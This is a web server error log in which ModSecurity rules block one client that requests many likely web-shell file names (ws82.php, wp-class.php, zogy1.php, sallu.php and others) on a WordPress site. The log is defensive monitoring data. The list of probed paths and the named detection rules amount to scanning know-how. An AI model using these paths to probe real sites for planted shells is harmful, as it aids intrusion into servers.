[Sat Apr 18 19:49:53.887567 2026] [:error] [pid 13023:tid 13035] [client 20.203.175.196:7069] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws82.php"] [unique_id "aeNv4f1e7hG8DAeABB__7gAAAQo"]
[Sat Apr 18 19:49:55.147884 2026] [:error] [pid 9864:tid 9907] [client 20.203.175.196:7127] [client 20.203.175.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "aeNv44CFeowknfXHM7kPcgAAAEI"]
[Sat Apr 18 19:49:56.068346 2026] [:error] [pid 34237:tid 34243] [client 20.203.175.196:6804] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class.php"] [unique_id "aeNv5BBmX4Wq5a6rxfaaRQAAAUQ"]
[Sat Apr 18 19:49:56.753378 2026] [:error] [pid 34237:tid 34247] [client 20.203.175.196:6820] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class.php"] [unique_id "aeNv5BBmX4Wq5a6rxfaaRgAAAUg"]
[Sat Apr 18 19:49:57.752703 2026] [:error] [pid 9970:tid 9998] [client 20.203.175.196:7160] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class.php"] [unique_id "aeNv5SYdRLRhVmaIMx2ujwAAANg"]
[Sat Apr 18 19:49:58.903277 2026] [:error] [pid 34290:tid 34325] [client 20.203.175.196:7048] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class.php"] [unique_id "aeNv5hqX6WpmmAXOBi8SVQAAAcY"]
[Sat Apr 18 19:50:00.697968 2026] [:error] [pid 9970:tid 9993] [client 20.203.175.196:6789] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/layout.php"] [unique_id "aeNv6CYdRLRhVmaIMx2ukgAAANM"]
[Sat Apr 18 19:50:02.431155 2026] [:error] [pid 34288:tid 34304] [client 20.203.175.196:7065] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/layout.php"] [unique_id "aeNv6uTIiy__PtiLmpnP7gAAAYw"]
[Sat Apr 18 19:50:04.018605 2026] [:error] [pid 34237:tid 34248] [client 20.203.175.196:6827] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/layout.php"] [unique_id "aeNv7BBmX4Wq5a6rxfaaSgAAAUk"]
[Sat Apr 18 19:50:05.277365 2026] [:error] [pid 34237:tid 34246] [client 20.203.175.196:7049] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/layout.php"] [unique_id "aeNv7RBmX4Wq5a6rxfaaTQAAAUc"]
[Sat Apr 18 19:50:06.162220 2026] [:error] [pid 34288:tid 34303] [client 20.203.175.196:7044] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws85.php"] [unique_id "aeNv7uTIiy__PtiLmpnP8QAAAYs"]
[Sat Apr 18 19:50:07.438075 2026] [:error] [pid 34237:tid 34259] [client 20.203.175.196:6813] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws85.php"] [unique_id "aeNv7xBmX4Wq5a6rxfaaUQAAAVQ"]
[Sat Apr 18 19:50:09.200750 2026] [:error] [pid 34237:tid 34249] [client 20.203.175.196:6842] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws85.php"] [unique_id "aeNv8RBmX4Wq5a6rxfaaUgAAAUo"]
[Sat Apr 18 19:50:10.163459 2026] [:error] [pid 34237:tid 34239] [client 20.203.175.196:6791] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws85.php"] [unique_id "aeNv8hBmX4Wq5a6rxfaaVQAAAUA"]
[Sat Apr 18 19:50:13.819751 2026] [:error] [pid 34237:tid 34246] [client 20.203.175.196:6799] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zogy1.php"] [unique_id "aeNv9RBmX4Wq5a6rxfaaWAAAAUc"]
[Sat Apr 18 19:50:15.835660 2026] [:error] [pid 9863:tid 9885] [client 20.203.175.196:7109] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zogy1.php"] [unique_id "aeNv9zjjiypiFrTucbLJmAAAAAw"]
[Sat Apr 18 19:50:20.919992 2026] [proxy_fcgi:error] [pid 34237:tid 34249] [client 20.203.175.196:7108] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:50:21.159915 2026] [proxy_fcgi:error] [pid 34237:tid 34243] [client 20.203.175.196:7108] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:50:21.399815 2026] [proxy_fcgi:error] [pid 34237:tid 34240] [client 20.203.175.196:7108] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:50:21.640506 2026] [proxy_fcgi:error] [pid 34237:tid 34239] [client 20.203.175.196:7108] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:50:21.881846 2026] [proxy_fcgi:error] [pid 34237:tid 34242] [client 20.203.175.196:7108] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:50:22.133899 2026] [proxy_fcgi:error] [pid 34237:tid 34256] [client 20.203.175.196:7108] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:50:22.390723 2026] [proxy_fcgi:error] [pid 34237:tid 34253] [client 20.203.175.196:7108] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:50:22.650351 2026] [proxy_fcgi:error] [pid 34237:tid 34261] [client 20.203.175.196:7108] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:50:22.899620 2026] [proxy_fcgi:error] [pid 34237:tid 34244] [client 20.203.175.196:7108] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:50:23.146495 2026] [proxy_fcgi:error] [pid 34237:tid 34254] [client 20.203.175.196:7108] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:50:23.391562 2026] [proxy_fcgi:error] [pid 34237:tid 34251] [client 20.203.175.196:7108] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:50:23.636299 2026] [:error] [pid 34237:tid 34241] [client 20.203.175.196:7108] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/img.php"] [unique_id "aeNv_xBmX4Wq5a6rxfaahQAAAUI"]
[Sat Apr 18 19:50:26.200966 2026] [:error] [pid 13023:tid 13038] [client 20.203.175.196:6839] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/img.php"] [unique_id "aeNwAv1e7hG8DAeABB8AGwAAAQ0"]
[Sat Apr 18 19:50:27.561967 2026] [:error] [pid 34237:tid 34256] [client 20.203.175.196:6835] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/img.php"] [unique_id "aeNwAxBmX4Wq5a6rxfaajAAAAVE"]
[Sat Apr 18 19:50:29.143047 2026] [:error] [pid 9970:tid 9997] [client 20.203.175.196:6983] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/img.php"] [unique_id "aeNwBSYdRLRhVmaIMx2uoQAAANc"]
[Sat Apr 18 19:50:30.394039 2026] [:error] [pid 9863:tid 9886] [client 20.203.175.196:7079] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aeNwBjjjiypiFrTucbLJoAAAAA0"]
[Sat Apr 18 19:50:31.405149 2026] [:error] [pid 34237:tid 34246] [client 20.203.175.196:7047] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aeNwBxBmX4Wq5a6rxfaamAAAAUc"]
[Sat Apr 18 19:50:33.345919 2026] [:error] [pid 34237:tid 34240] [client 20.203.175.196:7161] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aeNwCRBmX4Wq5a6rxfaangAAAUE"]
[Sat Apr 18 19:50:34.206604 2026] [:error] [pid 9970:tid 9983] [client 20.203.175.196:6826] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aeNwCiYdRLRhVmaIMx2uqQAAAMk"]
[Sat Apr 18 19:50:34.958655 2026] [:error] [pid 34288:tid 34315] [client 20.203.175.196:7058] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index.php"] [unique_id "aeNwCuTIiy__PtiLmpnP9AAAAZc"]
[Sat Apr 18 19:50:35.831506 2026] [:error] [pid 34237:tid 34246] [client 20.203.175.196:6825] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index.php"] [unique_id "aeNwCxBmX4Wq5a6rxfaapAAAAUc"]
[Sat Apr 18 19:50:36.518950 2026] [:error] [pid 13023:tid 13025] [client 20.203.175.196:7096] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index.php"] [unique_id "aeNwDP1e7hG8DAeABB8AKgAAAQA"]
[Sat Apr 18 19:50:37.259104 2026] [:error] [pid 9970:tid 9985] [client 20.203.175.196:7064] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index.php"] [unique_id "aeNwDSYdRLRhVmaIMx2urAAAAMs"]
[Sat Apr 18 19:50:38.695448 2026] [:error] [pid 34237:tid 34240] [client 20.203.175.196:6822] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/maxro.php"] [unique_id "aeNwDhBmX4Wq5a6rxfaaqAAAAUE"]
[Sat Apr 18 19:50:39.787966 2026] [:error] [pid 34288:tid 34307] [client 20.203.175.196:7118] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/maxro.php"] [unique_id "aeNwD-TIiy__PtiLmpnP9wAAAY8"]
[Sat Apr 18 19:50:40.994591 2026] [:error] [pid 34288:tid 34306] [client 20.203.175.196:7074] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/maxro.php"] [unique_id "aeNwEOTIiy__PtiLmpnP-QAAAY4"]
[Sat Apr 18 19:50:43.172595 2026] [:error] [pid 34237:tid 34245] [client 20.203.175.196:7099] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/maxro.php"] [unique_id "aeNwExBmX4Wq5a6rxfaaqwAAAUY"]
[Sat Apr 18 19:50:45.077642 2026] [:error] [pid 9865:tid 9954] [client 20.203.175.196:7056] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a7.php"] [unique_id "aeNwFazb5knECIY-C-h9UwAAAJE"]
[Sat Apr 18 19:50:47.907937 2026] [:error] [pid 34237:tid 34248] [client 20.203.175.196:6810] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a7.php"] [unique_id "aeNwFxBmX4Wq5a6rxfaasAAAAUk"]
[Sat Apr 18 19:50:49.322983 2026] [:error] [pid 9970:tid 9981] [client 20.203.175.196:6807] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a7.php"] [unique_id "aeNwGSYdRLRhVmaIMx2uuAAAAMc"]
[Sat Apr 18 19:50:51.025285 2026] [:error] [pid 9864:tid 9923] [client 20.203.175.196:7121] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a7.php"] [unique_id "aeNwG4CFeowknfXHM7kPqwAAAFE"]
[Sat Apr 18 19:50:52.095204 2026] [:error] [pid 9970:tid 9993] [client 20.203.175.196:7041] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-block.php"] [unique_id "aeNwHCYdRLRhVmaIMx2uvQAAANM"]
[Sat Apr 18 19:50:53.273829 2026] [:error] [pid 34237:tid 34247] [client 20.203.175.196:7094] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-block.php"] [unique_id "aeNwHRBmX4Wq5a6rxfaaugAAAUg"]
[Sat Apr 18 19:50:54.756960 2026] [:error] [pid 34290:tid 34324] [client 20.203.175.196:7054] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-block.php"] [unique_id "aeNwHhqX6WpmmAXOBi8SmwAAAcU"]
[Sat Apr 18 19:50:56.206331 2026] [:error] [pid 9864:tid 9926] [client 20.203.175.196:7051] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-block.php"] [unique_id "aeNwIICFeowknfXHM7kPswAAAFQ"]
[Sat Apr 18 19:50:57.793523 2026] [:error] [pid 9863:tid 9890] [client 20.203.175.196:7003] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aeNwITjjiypiFrTucbLJqQAAABE"]
[Sat Apr 18 19:50:58.703156 2026] [:error] [pid 34290:tid 34319] [client 20.203.175.196:7068] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aeNwIhqX6WpmmAXOBi8SpgAAAcA"]
[Sat Apr 18 19:50:59.764788 2026] [:error] [pid 13023:tid 13028] [client 20.203.175.196:7087] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aeNwI_1e7hG8DAeABB8ANwAAAQM"]
[Sat Apr 18 19:51:00.509656 2026] [:error] [pid 9970:tid 9989] [client 20.203.175.196:6979] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aeNwJCYdRLRhVmaIMx2uyAAAAM8"]
[Sat Apr 18 19:51:01.365953 2026] [:error] [pid 9865:tid 9954] [client 20.203.175.196:6817] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/areak1.php"] [unique_id "aeNwJazb5knECIY-C-h9WwAAAJE"]
[Sat Apr 18 19:51:02.087882 2026] [:error] [pid 34290:tid 34343] [client 20.203.175.196:6805] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/areak1.php"] [unique_id "aeNwJhqX6WpmmAXOBi8SrwAAAdg"]
[Sat Apr 18 19:51:03.519981 2026] [:error] [pid 34237:tid 34253] [client 20.203.175.196:7066] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/areak1.php"] [unique_id "aeNwJxBmX4Wq5a6rxfaawQAAAU4"]
[Sat Apr 18 19:51:05.090404 2026] [:error] [pid 9970:tid 9988] [client 20.203.175.196:7072] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/areak1.php"] [unique_id "aeNwKSYdRLRhVmaIMx2u0gAAAM4"]
[Sat Apr 18 19:51:07.030388 2026] [:error] [pid 34290:tid 34339] [client 20.203.175.196:6991] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sallu.php"] [unique_id "aeNwKxqX6WpmmAXOBi8StgAAAdQ"]
[Sat Apr 18 19:51:09.851516 2026] [:error] [pid 34237:tid 34258] [client 20.203.175.196:7082] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sallu.php"] [unique_id "aeNwLRBmX4Wq5a6rxfaaxgAAAVM"]
[Sat Apr 18 19:51:11.291219 2026] [:error] [pid 13023:tid 13037] [client 20.203.175.196:7077] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sallu.php"] [unique_id "aeNwL_1e7hG8DAeABB8AQQAAAQw"]
[Sat Apr 18 19:51:12.130557 2026] [:error] [pid 13023:tid 13046] [client 20.203.175.196:7141] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sallu.php"] [unique_id "aeNwMP1e7hG8DAeABB8ARgAAARU"]
[Sat Apr 18 19:51:13.111708 2026] [:error] [pid 13023:tid 13026] [client 20.203.175.196:7083] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tiny2.php"] [unique_id "aeNwMf1e7hG8DAeABB8ASwAAAQE"]
